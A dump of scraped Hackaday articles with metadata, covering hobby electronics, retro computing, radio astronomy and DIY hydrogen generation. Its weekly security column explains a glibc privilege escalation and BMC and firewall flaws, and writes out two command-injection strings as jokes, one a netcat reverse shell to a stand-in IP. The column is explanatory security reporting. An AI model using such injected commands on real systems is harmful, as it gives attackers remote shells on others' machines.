Three major factors that need to be simultaneously taken into account when transitioning a tailsitter VTOL. First off, yaw becomes roll, and vice versa. This implies that in hover mode, elevons have to move in opposite directions to control yaw; however, this same action will make it roll in forward flight. The same applies for differential thrust from motors — it controls roll in hover and yaw in forward flight. Nevertheless, this change of control scheme only works if the flight controller also alters its reference frame for “level” flight (i.e., flips forward 90°). As [Nicholas] demonstrates, failing to do so results in a quick and chaotic encounter with the ground.
With these adjustments made, the aircraft can transition to forward flight but will oscillate pitch-wise as it overcorrects while trying to maintain stable flight; this is due to
PID
gains – 3rd factor. The deflection required by control surfaces is much more aggressive during hover mode; thus PID gains need to be reduced during forward flight. A final improvement involves adding a brief delay when switching modes for smoother rotation.
For more interesting VTOL configurations, check out [Tom Stanton]’s
RC V-22 Osprey
, and this
solar recharging trimotor | 5 | 3 | [
{
"comment_id": "6689521",
"author": "Jdams",
"timestamp": "2023-10-07T12:07:03",
"content": "I have been seeing this drehm flight pop up for a while and I’m getting more curious. I do like the idea of putting the powerhouse teensy to use as a flight controller.",
"parent_id": null,
"depth":... | 1,760,372,143.56886 | ||
https://hackaday.com/2023/10/07/smart-coffee-replaces-espresso-machine-controller-with-arduino-sensors/ | Smart Coffee Replaces Espresso Machine Controller With Arduino, Sensors | Donald Papp | [
"Arduino Hacks",
"cooking hacks"
] | [
"arduino",
"coffee",
"controller",
"espresso",
"smart coffee"
] | A common hacker upgrade to an espresso machine is to improve stability and performance with a better temperature controller, but [Schematix]’s
Smart Coffee project doesn’t stop there
. It entirely replaces the machine’s controller and provides an optional array of improvements for a variety of single-boiler machines (which is most of them).
Smart Coffee isn’t free, it costs 16 NZD (about 10 USD) but there is a free demo version. There is no official support, but there are wiring guides and sources aplenty from which to purchase the various optional parts. It runs on an Arduino MEGA 2560 PRO (or similar microcontroller) and supports a wide array of additional hardware including pressure transducer, water level sensor, flow meter, OLED display, and more.
Modification of one’s espresso machine is a rewarding endeavor, but the Smart Coffee project provides a way for one to get straight to the hacking and function modifying, instead of figuring out the wiring hardware interfacing from scratch.
We’ve seen [Schematix]’s work before with
a DIY induction heater
which showed off thoughtful design, and it’s clear he takes his coffee at least as seriously. Check out the
highly comprehensive overview and installation video
for Smart Coffee, embedded just below the page break.
Thanks to [X-Cubed] for the tip! | 16 | 10 | [
{
"comment_id": "6689501",
"author": "Andrew",
"timestamp": "2023-10-07T08:50:11",
"content": "I went with the StupidCoffee approachhttps://youtu.be/3Q8w3QBo2f4",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689599",
"author": "nani",
"times... | 1,760,372,143.746642 | ||
https://hackaday.com/2023/10/06/famicom-inspired-nes-tv-looks-rad-in-red/ | Famicom-Inspired NES TV Looks Rad In Red | Kristina Panos | [
"Games",
"High Voltage"
] | [
"CRT TV",
"famicom",
"nes"
] | Take it from us, insomnia is no joke. But the wee hours can have a great effect on creativity, and if you’ve got a project in mind, doing that is way better than just sitting around, zoning out to infomercials and wishing for sleep. Over recent nights, [insomniacfactory] has been working on
a Sharp C1 Famicon-inspired NES TV
, and the result is simply fabulous.
The Sharp C1 Famicom was CRT television with a Famicom (precursor to the NES) built in. It allegedly had better picture quality than either a Famicom or NES with a separate television, and this was because it had direct internal display connection. The picture quality was so good that video game magazines at the time used it for screenshots.
Starting with a couple of TVs and a plan, [insomniacfactory] got to work, using the guts from a newer donor TV and a 1985 NES main board with the region-free mod and the RF module removed.
[insomniacfactory] also added also added a wiring harness and a side loader connector from a broken Game Genie to the NES main board. After some careful Dremeling out of the 1981 AKAI TV, they had room for the clone console’s cartridge slot and controller plugs.
This project took a lot of careful and fiddly work, especially since the boards are all bracketed in place and easy to remove. But it totally looks like it was worth it, and now [insomniacfactory] can retro game all night for a while before starting the next insomnia-driven project.
Are you in the mood for more iconic NES?
Take a guided tour
. | 1 | 1 | [
{
"comment_id": "6689489",
"author": "Joshua",
"timestamp": "2023-10-07T05:47:36",
"content": "“The Sharp C1 Famicom was CRT television with a Famicom (precursor to the NES) built in. It allegedly had better picture quality than either a Famicom or NES with a separate television, and this was becaus... | 1,760,372,143.685905 | ||
https://hackaday.com/2023/10/06/fluid-simulation-does-the-math/ | Fluid Simulation Does The Math | Al Williams | [
"Software Hacks"
] | [
"fluid dynamics",
"fluid simuluation",
"java script"
] | If you like math, you should enjoy [kynd’s] page about
simulating fluid in p5.js
. You might still enjoy the pretty colors and shapes if you aren’t into math. What’s scary is that the page promises to have as little math as possible, but there’s still quite a bit. Of course, we are sure you could go even deeper down the rabbit hole.
The algorithm’s core is a pair of 2D arrays representing cells that comprise the display area. One array holds the color of the cell, while another holds a velocity vector of the fluid in the cell. A vector, of course, has both a magnitude and a direction.
Of course, there is more to it than that. The cells interpolate, but the animated graphics help explain it all. By the time you get to the momentum and divergence, you’ll need to remember a few things about partial differential equations. Luckily, they can be approximated numerically, so you can also read the code and forget about it.
If you want even deeper explanations, [kynd] suggests
[Jamie Wong’s] page
, which uses WebGL and even lets you interact with the fluid. If you want to know what the Navier-Stokes equations are, these pages will help you a lot.
While the pictures are pretty, fluid simulation has a lot of practical applications. Or, you can just use the
kitchen sink
. You can even do simulations with
ASCII output
if you like. | 2 | 2 | [
{
"comment_id": "6689537",
"author": "DOugl",
"timestamp": "2023-10-07T14:35:35",
"content": "Amazing but I didn’t find the Lava Lamp simulation.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689578",
"author": "Andrew Krause",
"timestamp": "2023-10-... | 1,760,372,143.785908 | ||
https://hackaday.com/2023/10/06/zilogs-forgotten-operating-system-z80-rio/ | Zilog’s Forgotten Operating System: Z80-RIO | Maya Posch | [
"Retrocomputing"
] | [
"Z80-RIO",
"zilog",
"Zilog Z80"
] | When it comes to famous operating systems for the Z80 and similar Zilog processors, the first and maybe only one to come to mind is CP/M, which was even made its presence known on the dual-CPU (8502 and Z80) Commodore 128. Yet Zilog also developed its own operating system, in the form of the comprehensively titled
Z80 Operating System with Relocatable Modules and I/O Management
(Z80-RIO for short). With limited documentation having survived, [Ralf-Peter Nerlich] has
set out to retain and recover
what information he can on
RIO
and the associated Programming Language Zilog (PLZ) after working with these systems himself when they were new.
A Zilog MCZ 1/20 system from around 1979. (Credit:
Herb Johnson
)
Perhaps unsurprisingly, neither Z80-RIO nor PLZ were targeting the regular consumer market when they were brought to market in the late 1970s, but were part of Zilog’s focus on industrial markets, as well as laboratories and elsewhere that could benefit from a versatile, programmable computer system for control and automation.
As part of an integrated hardware/software solution, Zilog released
a series of computer systems
, such as the MCZ 1/20 of which a number of examples survive today.
Herb Johnson’s collection
and restoration projects provide a good overview of not only the base systems, but also the expansion cards available for these systems. Right along with the Z80-RIO OS providing the ability to customize the system for the target usage, the underlying hardware could also be configured with just the expansion boards required, or conceivably even custom boards.
Of course, it doesn’t take many guesses to figure out what happened to Z80’s RIO OS and related, with the 1980s heralding massive shifts in the computer markets. Although now functionally obsolete for decades, it’s good to see such preservation efforts of 1970s computing systems and related software. These are after all the foundations on which modern day computing is built.
(Thanks to [Stephen Walters] for the tip) | 32 | 16 | [
{
"comment_id": "6689455",
"author": "YGDES",
"timestamp": "2023-10-06T23:10:53",
"content": "8502 ?…",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689459",
"author": "arifyn",
"timestamp": "2023-10-06T23:35:53",
"content": "what ab... | 1,760,372,143.866744 | ||
https://hackaday.com/2023/10/06/tetris-on-an-oscilloscope-the-software-way/ | TetrisOn An Oscilloscope, The Software Way | Dan Maloney | [
"Games"
] | [
"assembly",
"compiler",
"crt",
"java",
"oscilloscope",
"RTOS",
"tetris",
"vxworks"
] | When we talk about video games on an oscilloscope, you’d be pardoned for assuming the project involved an analog CRT scope in X-Y mode, with vector graphics for something like
Asteroids
or
BattleZone
. Alas,
this oscilloscope
Tetris
(Russian language,
English translation
) isn’t that at all — but that doesn’t make it any less cool.
If you’re interested in recreating [iliasam]’s build, it’ll probably help to be a retro-oscilloscope collector. The target instrument here is a Tektronix TDS5400, a scope from that awkward time when everything was going digital, but CRTs were still cheaper and better than LCDs. It’s based on a Motorola 68EC040 processor, sports a boatload of discrete ICs on its main PCB, and runs VxWorks for its OS. Tek also provided a 3.5″ floppy drive on this model, to save traces and the like, as well as a debug port, which required [iliasam] to build a custom UART adapter.
All these tools ended up being the keys to the kingdom, but getting the scope to run arbitrary code was still a long and arduous process, with a lot of trial and error. It’s a good story, but the gist is that after dumping the firmware onto the floppy and disassembling it in Ghidra, [iliasam] was able to identify the functions used to draw graphics primitives on the CRT, as well as the functions to read inputs from the control panel. The result is the simple version of Tetris seen in the video below. If you’ve got a similar oscilloscope, the code is up on
GitHub
.
Care for a more hardware-based game-o-scope? How about
a nice game of
Pong
? Or perhaps
a polar breakout-style game
is what you’re looking for. | 8 | 5 | [
{
"comment_id": "6689436",
"author": "adrian",
"timestamp": "2023-10-06T21:30:34",
"content": "Or play asteroids on an HP54622https://www.youtube.com/watch?v=hvfiwaboLK0",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6689437",
"author": "John Little",
... | 1,760,372,143.914096 | ||
https://hackaday.com/2023/10/06/hackaday-prize-2023-hydrocleaner-nips-pollution-in-the-bud/ | Hackaday Prize 2023: Hydrocleaner Nips Pollution In The Bud | Kristina Panos | [
"green hacks",
"The Hackaday Prize"
] | [
"2023 Hackaday Prize",
"Jetson Nano",
"plastic pollution",
"pollution",
"river",
"rivers"
] | It’s unfortunate, but a lot of trash ends up in our rivers and, eventually, our oceans. Cleaning efforts can be costly and require a lot of human power. One of the ways to keep trash out from reaching the ocean is to attack it at the river level. That’s the idea behind [Xieshi Zhang]’s
Hydrocleaner, a semi-autonomous river cleaning robot
.
One current method for removing trash is by remote-controlled boats with nets attached. These typically travel in one direction, sort of sweeping left and right and probably missing trash in the process.
Hydrocleaner is capable of turning back and forth, ensuring a much more complete clean-up. The camera spots trash, and the twin-pontoon design allows it to flow easily between them and into the net behind. Currently, the brain behind this boat is a Jetson Nano, although this is a work in progress. The eventual idea is that the boat would navigate itself using GNSS guidance and would navigate toward the trash.
Of course, you could always
fight trash with trash
.
The
Hackaday
Prize 2023
is Sponsored by: | 1 | 1 | [
{
"comment_id": "6689416",
"author": "HaHa",
"timestamp": "2023-10-06T19:32:33",
"content": "Odds that this is a net trash remover?Not high.WAG It would take at least a week of continuous operation to collect its own weight in trash. Won’t last nearly that long.Was this from the middle school bracke... | 1,760,372,143.986301 | ||
https://hackaday.com/2023/10/06/iss-mimic-brings-space-station-down-to-earth/ | ISS Mimic Brings Space Station Down To Earth | Tom Nardi | [
"Hackaday Columns",
"Space"
] | [
"Hack Chat",
"international space station",
"iss",
"scale model",
"telemetry"
] | Built at a cost of more than $150 billion over the last twenty-five years, the International Space Station is arguably one of humanity’s greatest engineering triumphs. Unfortunately, unlike Earthly construction feats such as the Hoover Dam, Burj Khalifa, or the Millau Viaduct, you can’t visit it in person to really appreciate its scale and complexity. Well, not unless you’ve got the $50 million or so to spare to buy a seat on a Dragon capsule.
Which is why the team behind the ISS Mimic project are trying to make the ISS a bit more relatable. The open source project consists of a 3D printable 1:100 model of the Station, which is linked to the telemetry coming down from the real thing. A dozen motors in the model rotate the solar arrays and radiators to match the positions of their full-scale counterparts, while LEDs light up to indicate the status of various onboard systems.
To learn more about the ISS Mimic, team members
Bryan Murphy, Sam Treadgold, and Tristan Moody stopped by this week’s Hack Chat
to bring us up to speed on the past, present, and future of this fascinating project.
Sifting Through the Data
Bryan and Sam both worked to support the real ISS at NASA, which gave them a unique insight into the Station’s daily operations. They also were well acquainted with the ISS telemetry feeds being beamed down to Earth from the Tracking and Data Relay System Satellites (TDRSS). These are made available to the public, and NASA even offers a few official ways to visualize and interact with the data. But the team thought there was potential to make all those
rapidly changing fields of data
come alive in a way that hadn’t been done before.
Wrapping the raw telemetry data up into visually exciting status pages gives important context, and turns what’s essentially a spreadsheet into something that looks like it could be out of a video game — something that’s particularly appealing to younger audiences. With a Raspberry Pi and small display, users are able to quickly flip through a collection of these status pages that cover a wide range of Station functions.
Building the Model
While the visualization screens are already a big improvement over the raw telemetry data, the ISS Mimic project is really about the 3D printed model itself. The team has been working on recreating each and every module of the Station in CAD — first in a “LoFi” version which is little more than a properly sized cylinder, and then later on, a high resolution version that includes accurate surface details. Where applicable, modules use magnets so they can be easily attached and potentially rearranged if needed.
To make the model move, Bryan explains that they’re currently using geared DC motors with Hall effect sensors, which are in turn controlled by an Arduino and some custom PCBs. But between their cost and complexity, he says they’re hoping to eventually move over to continuous rotation servos, assuming they can find ones small enough to fit into the printed model.
Ultimately, the goal is to have schools and other institutions build their own ISS Mimics, so keeping things as cheap and simple as possible is the name of the game. In fact, in response to the feedback they got from teachers, the team is currently working on a “Mini Mimic” that’s half as large and easier to print and assemble. This smaller version is still in development, but has already been assembled by a few schools over the summer.
Sam mentions that the team is also looking into more ways to make the model come alive. One suggestion was to add appropriately positioned LEDs that will blink when the Station is firing its maneuvering thrusters. He’d also like to add the Mobile Servicing System, a robotic platform that moves along a railway that stretches the length of the Station’s main truss. Like the solar arrays and radiators, this would be motorized so synchronize its position on the model with the real-world version in orbit.
Towards the end of the Chat, it was suggested that the Hackaday community should build its own ISS Mimic. Various modules and systems could be assigned to volunteers, and then the final model could be assembled during Supercon. With less than a month to go before we
convene in Pasadena on November 3rd
, it’s not something that we’d be able to pull of this year. But of course, there’s always 2024…
We’d like to thank Bryan, Sam, and Tristan for joining us in the Hack Chat and answering the community’s questions about this ambitious endeavour. We’re excited to see where the ISS Mimic goes from here, and will keep a close eye on its development. Since a trip to the real Station seems out of the question, this might just be the next best thing.
The Hack Chat is a weekly online chat session hosted by leading experts from all corners of the hardware hacking universe. It’s a great way for hackers connect in a fun and informal way, but if you can’t make it live, these overview posts as well as the
transcripts posted to Hackaday.io
make sure you don’t miss out. | 20 | 7 | [
{
"comment_id": "6689397",
"author": "reg",
"timestamp": "2023-10-06T17:28:21",
"content": "Outside of the fact you could not float through it, it would be cool for one of the science museums to build a 1:1 replica of the space station just to get a feel for what is out there.",
"parent_id": nul... | 1,760,372,144.051664 | ||
https://hackaday.com/2023/10/06/hackaday-podcast-239-overclocking-oscilloscopes-and-oh-no-smd-out-of-stock/ | Hackaday Podcast 239: Overclocking, Oscilloscopes, And Oh No! SMD Out Of Stock! | Al Williams | [
"Hackaday Columns",
"Podcasts"
] | [
"Hackaday Podcast"
] | Elliot Williams and Al Williams got together again to discuss the best of Hackaday for a week, and you’re invited. This week, the guys were into the Raspberry Pi 5, CNC soldering, signal processing, and plasma cutting. There are dangerous power supplies and a custom 11-bit CPU.
Of course, there are a few Halloween projects that would fit in perfectly with the upcoming
Halloween contest
(the deadline is the end of this month; you still have time). OpenSCAD is about to get a lot faster, and a $20 oscilloscope might not be a toy after all. They wrap up by talking about Tom Nardi’s latest hardware conversion of DIP parts to SMD and how TVs were made behind the Iron Curtain.
Did you miss a story? Check out the links below. As always, tell us what you think about this episode in the comments!
Go ahead and download it
!
Where to Follow Hackaday Podcast
Places to follow Hackaday podcasts:
iTunes
Spotify
Stitcher
RSS
YouTube
Check
out our Libsyn landing page
Episode 239 Show Notes:
News:
Hackaday Prize 2023: The Wildcard Finalists Are Here
What’s that Sound?
Congratulations to [Fredrik], this week’s winner of a super rare Hackaday Podcast T-shirt. Be sure to check in next week for a new sound challenge and a chance to win.
Interesting Hacks of the Week:
Overclocking Raspberry Pi 5’s SoC To 3 GHz And 1 GHz GPU
A Raspberry Pi 5 Is Better Than Two Pi 4s
The Future of Microprocessors — Sophie Wilson
[Bunnie] Peeks Inside ICs With IR
Seeing Transistors Switch In Infrared
CNC Soldering Bot Handles Your Headers
The Magic Of A Diode Sampler To Increase Oscilloscope Bandwidth
High-Speed Design Techniques, 1996
Say It With Me: Aliasing
Simple Add-On Makes Cheap Plasma Cutter Suitable For CNC Use
Power Supplies Without Transformers
The Shocking Truth About Transformerless Power Supplies
CPU Built From Discrete Transistors
Build Your Own CPU? That’s The Easy Part!
FPGA Computer Covers A To Z |
Build A Fun CPU In Your Browser
Hacking A Universal Assembler
Quick Hacks:
Elliot’s Picks:
2023 Halloween Hackfest: Treat Trough Of Terror Is Actually Pretty Cute
2023 Halloween Hackfest: Ouija Robot Is Even Creepier Than The Real Thing
At Last! Faster OpenSCAD Rendering Is On The Horizon
Al’s Picks:
Fixing A C64 With A Cheap $20 Oscilloscope
Google’s Augmented Reality Microscope Might Help Diagnose Cancer
A 1970s Mask ROM MCU Spills Its Secrets
Can’t-Miss Articles:
Chip Shortage Engineering: Misusing DIP Packages
Flatpack (electronics)
Key To Soldering: Pace Yourself
Retrotechtacular: How Communism Made Televisions | 2 | 2 | [
{
"comment_id": "6689451",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2023-10-06T22:52:10",
"content": "“Elliot Williams and Al Williams got together again to discuss the best of Hackaday for a week”It’s so nice to see you brothers on speaking terms again!B^)",
"parent_id": n... | 1,760,372,144.175522 | ||
https://hackaday.com/2023/10/06/just-when-you-think-everything-in-robotic-combat-has-been-tried-before/ | Just When You Think Everything In Robotic Combat Has Been Tried Before… | Jenny List | [
"Robots Hacks"
] | [
"battlebots",
"robot",
"robot wars",
"robotic combat",
"taco tuesday"
] | Since the first combat robots emerged around three decades ago, it seems as though every conceivable configuration has been tried at some point or other. Whether it’s a two-wheeled wedgebot, a walker, a four-wheeled flip-bot, or whatever, someone’s already been there. But how about a self-righting taco with a novel two-wheel drive system?
It’s called Taco Tuesday
, its team lead [Carter Hurd] has sent us the video below the break, and it’s worth a second look because the technique might find a place outside the arena.
So what exactly is novel about this bot? It has a single big fat wheel near the front in a longitudinal direction, and a larger slimmer one at the back in a transverse direction. The former wheel propels it around the arena while the latter wheel acts as a rear-wheel steering system, allowing it to pivot round and face an attacker very quickly indeed.
It’s this maneuverability which we think could find an application in other machines, though the same problem they have of sideways friction on that rear wheel would need to be overcome.
The video follows the bot through a BattleBots competition in Las Vegas, and shows us some of the damage they receive in combat. The drive system needs a bit more refinement, but this outing certainly proves it has plenty of potential.
Some of us here at Hackaday have
a bit of a soft spot for fighting robots
. | 15 | 5 | [
{
"comment_id": "6689385",
"author": "Cheesecake",
"timestamp": "2023-10-06T15:48:42",
"content": "Put simply a massive metal indestructible gömböc in the ring.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689452",
"author": "The Commenter Formerl... | 1,760,372,144.233025 | ||
https://hackaday.com/2023/10/06/this-week-in-security-looney-tunables-not-a-0-day-and-curl-warning/ | This Week In Security: Looney Tunables, Not A 0-day*, And Curl Warning | Jonathan Bennett | [
"Featured",
"Security Hacks",
"Slider"
] | [
"BMC",
"CVE",
"open source"
] | This week starts out with
a nifty vulnerability in the glibc dynamic loader
. This is an important step in running a binary executable on Linux, as it pulls the list of required shared libraries, and loads those libraries into memory. Glibc also includes a feature to adjust some runtime settings, via the GLIBC_TUNABLES environment variable. That’s where the vulnerability resides, and researchers from Qualsys obviously had a bit of fun in taking inspiration to pick the vulnerability name, “Looney Tunables”.
The problem is
memory handling in the sanitizing parser
. This function iterates through the environment variable, looking for strings of
tunable1=aa
, separated by colons. These strings get copied to the sanitized buffer, but the parsing logic goes awry when handling the malformed
tunable1=tunable2=AAA
. The first equals sign is taken at face value, copying the rest of the string into the buffer. But then the second equals sign is also processed as another
key=value
pair, leading to a buffer overflow.
The reason this particular overflow is interesting is that if the binary to be run is a Set-User-ID (SUID) root application, the dynamic loader runs as root, too. If the overflow can achieve code execution, then it’s a straightforward privilege escalation. And since we’re talking about it, you know there’s a way to execute code. It turns out, it’s possible to overwrite the pointer to the library search path, which determines where the dynamic loader will look for libraries. Tell it to look first in an attacker-controlled location, and you can easily load a malicious
libc.so
for instant code execution.
This vulnerability affects many Linux distros, and there’s already
a Proof of Concept (PoC) published
. So, it’s time to go check for updates for cve-2023-4911.
Yo Dog, I heard you Liked Linux Servers
Someone put
a vulnerable Linux server in your Linux servers
. Naturally that’s the Baseboard Management Controller (BMC) found in many server-class computers. Admittedly, it’s extremely convenient to have a way to access a remote server for re-installs, or to get back in after a firewall configuration change goes wrong. But the old advice still rings true: Don’t put it on the Internet!
Supermicro’s BMC firmware is in the cross-hairs here, and one of the first vulnerabilities found was command injection in the email alerts settings. It’s a trivial case where a shell command is composed of values set in the interface, and then run as root. Yes, my email is
bobby@tables.com;curl%20evilscript.sh
, why do you ask?
That’s only good for an authenticated user. So you’ll be thrilled to know there’s also a couple ways to bypass authentication. The most straightforward is to construct a URL that points to the BMC, and includes some JS as an argument. Get an authenticated user to click the link, and the JS executes in their session. But that requires user interaction — falling for the malicious link.
So there’s one more approach — poison. The BMC web app stores settings like preferred language in the user cookie. And that value is then inserted into the BMC pages on each load. If an attacker can poison the cookie, a script can run on every page load. While this doesn’t require falling for the trick repeatedly, it does still require a toe-hold, most likely via the doctored link. Amid the normal wrangling between vendor and researcher about how critical each issue really is,
Supermicro has published updates addressing
the issues.
Lines of sheer terror
Why do we need Wayland? Because
X11 has vulnerabilities that have been in the code base since 1988
— and one from 1996, and two from 1998. One of those bugs is an integer overflow when creating an image, and leads to a heap overflow. Of all the issues, this seems to be likely to lead to code execution. This sort of brokenness has been
known about for over a decade now
, and is one of the main reasons so many distros and developers are pushing for Wayland.
Not a vulnerability? OK, We’ll Publish Now
The
write-up from Watchtowr Labs on problems found
in the Sangfor Next Generation Application Firewall (NGAF) is a delight — if you enjoy thinly veiled sardonic mockery. The NGAF has multiple unfortunate vulnerabilities, with the worst being a unauthenticated command injection attack in the username of the login page. Yes, my username really is
bobby.tables; nc -e /bin/bash 1.2.3.4
, why do you ask?
So here’s where the mockery comes from. When the Watchtowr team contacted Sangfor to report these disastrous problems in their “truly secured, integrated and simplified firewall solution”, Sangfor responded that the problems were all either already fixed, or were false positives. That means that Watchtowr can release their findings right away, and not worry about them being 0-days. It’s sort of the ultimate in calling an OEM’s bluff. And for our money? Maybe stick to brands that do a bit better responding to security problems.
Curl
On the 11th, this upcoming Wednesday,
be on the lookout for a curl update
that fixes a high severity curl/libcurl vulnerability. There aren’t any details available yet, besides the ominous warning from the curl team that it’s serious.
Bits and Bytes
Exim has
a set of six bugs that were reported through ZDI
, released publicly on September 27th. Three of those issues were fixed October 3rd with release 4.96.1, with the other three still pending. What makes this particularly troubling is that ZDI started the disclosure process in June of 2022. Not a good look for Exim.
There continues to be
a campaign of malicious Python packages
, working to steal data and redirect cryptocurrency from anyone unfortunate enough to download one of the packages. The payload seems to only trigger on Windows systems, and the known packages have managed a distressing-yet-impressive 75,000 total downloads.
BinDiff is now open source
. This useful tool from Google is all about sniffing out what changed between versions of software, when all you have to work from is the binaries. It does some limited decompiling, too. Perfect tool for reverse engineering a security patch. | 8 | 5 | [
{
"comment_id": "6689392",
"author": "Foldi-One",
"timestamp": "2023-10-06T16:53:11",
"content": "Got to ponder on if Wayland is actually going to be any better, history seems suggest not really – we just don’t have all these years of huge numbers of people actively looking for or accidentally findi... | 1,760,372,144.378844 | ||
https://hackaday.com/2023/10/06/wok-your-way-to-the-center-of-the-galaxy/ | Wok Your Way To The Center Of The Galaxy | Dan Maloney | [
"Radio Hacks"
] | [
"1420.4058 MHz",
"dipole",
"hydrogen line",
"LNA",
"parabolic",
"Radio Astronomy",
"RTL-SDR",
"saw",
"spherical",
"wok"
] | The round bottom of a proper wok is the key to a decent stir fry, but it also makes it hard to use on traditional Western stoves. That’s why many woks end up in a dark kitchen cabinet, unused and unloved. But wait; it turns out that the round bottom of a wok is
the perfect shape for gathering something else
— radio waves, specifically the 21-cm neutral hydrogen emissions coming from the heart of our galaxy.
Turning a wok into an entry-level radio telescope doesn’t appear to be all that hard, at least judging by what [Leo W.H. Fung]
et al
detail in
their paper
(PDF) on “WTH” or “Wok the Hydrogen.” Aside from the wok, which serves as the main reflector, you’ll need a bit of coaxial cable and some stiff copper wire to fashion a small dipole antenna and balun, plus some plastic tubing to support it at the focal point of the reflector. Measuring the wok’s shape and size, which in turn determines its focal point, is probably the hardest part of the build; luckily, the paper includes tips on doing just that. The authors address the controversy of parabolic versus spherical reflectors and arrive at the conclusion that for a radio telescope fashioned from a wok, it just doesn’t matter.
As for the signal processing chain, WTH holds few surprises. A Nooelec Sawbird+ H1 acts as preamp and filter for the 1420-MHz hydrogen line signal, which feeds into an RTL-SDR dongle. Careful attention is paid to proper grounding and shielding to keep the noise floor as low as possible. Mounting the antenna is a decidedly ad hoc affair, and aiming is as simple as eyeballing various stars near the center of the galactic plane — no need to complicate things.
Performance is pretty good: WTH measured the recession velocity of neutral hydrogen to within 20 km/s, which isn’t bad for something cobbled together from scrap. We’ve seen plenty of
DIY hydrogen line observatories
before, but WTH probably wins the “get on the air tonight” award.
Thanks to [Heinz-Bernd Eggenstein] for the tip. | 14 | 7 | [
{
"comment_id": "6689344",
"author": "Truth",
"timestamp": "2023-10-06T12:56:20",
"content": "Two words “Spherical aberration”Once a focal point is selected it will be perfect for looking at one frequency, but higher frequencies will have a different focal point than lower frequencies with a spheric... | 1,760,372,144.324352 | ||
https://hackaday.com/2023/10/06/creating-an-automated-hydrogen-generator-at-home/ | Creating An Automated Hydrogen Generator At Home | Maya Posch | [
"Science"
] | [
"electrolysis",
"hydrogen"
] | Everyone and their pet hamster probably knows that the most common way to produce hydrogen is via the electrolysis of water, but there are still a number of steps between this elementary knowledge and implementing a (mostly) automated hydrogen generator. Especially if your end goal is to create liquid hydrogen when everything is said and done. This is where [Hyperspace Pirate]’s latest absolutely not dangerous project commences, with the details covered in the
recently published video
.
Automated hydrogen generator setup, courtesy of [Hyperspace Pirate]’s dog drinking bowl.
Since electrolysis cannot occur with pure water, sodium hydroxide (NaOH) is used in the solution to provide the ions. The electrodes are made of
316 stainless
steel, mostly because this is cheap and good enough for this purpose. Although the original plan was to use a stacked series of electrodes with permeable membranes like in commercial electrolysers, this proved to be too much of a hassle to seal up leak-tight. Ergo the demonstrated version was attempted, where an upturned glass bell provides the barrier for the produced hydrogen and oxygen. With this system it’s easy to measure the volume of the produced hydrogen due to the displaced water in the bell.
Once enough hydrogen gas is produced, a vacuum pump is triggered by a simple pair of electrodes to move the hydrogen gas to a storage container. Due to hydrogen embrittlement concerns, an aluminium tank was used rather than a steel one. Ultimately enough hydrogen gas was collected to fill a lot of party balloons, and with the provided information in the video it should be quite straightforward to reproduce the system.
Where the automation comes into play is with a control system that monitors for example how long the vacuum pump has been running, and triggers a fail safe state if it’s more than a set limit. With the control system in place, [Hyperspace Pirate] was able to leave the hydrogen generator running for hours with no concerns. We’re hopeful that his upcoming effort to liquify this hydrogen will be as successful, or the human-rated blimp, or whatever all this hydrogen will be used for. | 34 | 10 | [
{
"comment_id": "6689304",
"author": "C",
"timestamp": "2023-10-06T08:21:56",
"content": "Siemens, not Sieverts!",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6689323",
"author": "abjq",
"timestamp": "2023-10-06T11:00:28",
"content":... | 1,760,372,144.524818 | ||
https://hackaday.com/2023/10/05/just-what-is-tone-in-a-microphone/ | Just What Is Tone, In A Microphone? | Jenny List | [
"Musical Hacks"
] | [
"audio",
"microphone",
"tone"
] | As long-time Hackaday readers will know, there is much rubbish spouted in the world of audio about perceived tone and performance of different hi-fi components. Usually this comes from audiophiles with, we’d dare to suggest, more money than sense. But oddly there’s an arena in which the elusive tone has less of the rubbish about it and it in fact, quite important. [Jim Lill] is a musician, and like all musicians he knows that different combinations of microphones impart a different sound to the recording. But as it’s such a difficult property to quantify,
he’s set out to learn all he can about where the tone comes from in a microphone
.
He’s coming to this from the viewpoint of a musician rather than an engineer, but his methodology is not diminished by this. He’s putting each mic on test in front of the same speaker at the same position, and playing a standard piece of music and a tone sweep through each. He doesn’t have an audio analyser, reference speaker and microphone, or anechoic chamber, so he’s come up with a real-world standard instead. He’s comparing every mic he can find with a Shure SM57, the go-to general purpose standard in the world of microphones for as long as anyone can remember, being a 1960s development of their earlier Unidyne series. His reasoning is that while its response is not flat the sound of the SM57 is what most people are used to hearing from a microphone, so it makes sense to measure the others against its performance.
Along the way he tests a huge number of microphones including famous and expensive ones from exclusive studios and finally one he made himself by mounting a cartridge atop a soda can. You’ll have to watch the video below the break for his conclusions, we can promise it’s worth it.
Thanks [Michael Field] for the tip. | 23 | 13 | [
{
"comment_id": "6689279",
"author": "Phil Barrett",
"timestamp": "2023-10-06T05:43:38",
"content": "Definitely worth watching, even if you aren’t a music lover. What I am amazed about is how he got through the entire video without saying “snake oil” or “fraud” or “con artists”. But yeah, the place... | 1,760,372,144.440239 | ||
https://hackaday.com/2023/10/05/an-smd-capacitor-guide/ | An SMD Capacitor Guide | Al Williams | [
"Parts"
] | [
"capacitors",
"smd",
"SMD capacitors"
] | For electronics, your knowledge probably follows a bit of a bell curve over time. When you start out, you know nothing. But you eventually learn a lot. Then you learn enough to be comfortable, and most of us don’t learn as much about new things unless we just happen to need it. Take SMD components. If you are just starting out, you might not know how to find the positive lead of an SMD capacitor. However, if you’ve been doing electronics for a long time, you might not have learned all the nuances of SMD. [Mr SolderFix] has been addressing this with a series of videos covering the basics of different SMD components, and this
installment covers capacitors.
If you are dyed-in-the-wool with SMD, you might not get a lot out of the video, but we picked up a few tips, like using a zip tie for applying flux. The video starts with an examination of the different packages and markings. Then it moves on to soldering the components down.
We haven’t run into the little trimmer capacitors, so that was new to us, also. It is a great idea for a series, and the photography of the solder is very clear and useful. Worth a watch!
SMD parts don’t have a lot of room for markings, so they can be
a bit cryptic
. If you show up at a Supercon, you can always join us
to show off your SMD soldering skills
. | 5 | 2 | [
{
"comment_id": "6689321",
"author": "Mark Garton",
"timestamp": "2023-10-06T10:15:10",
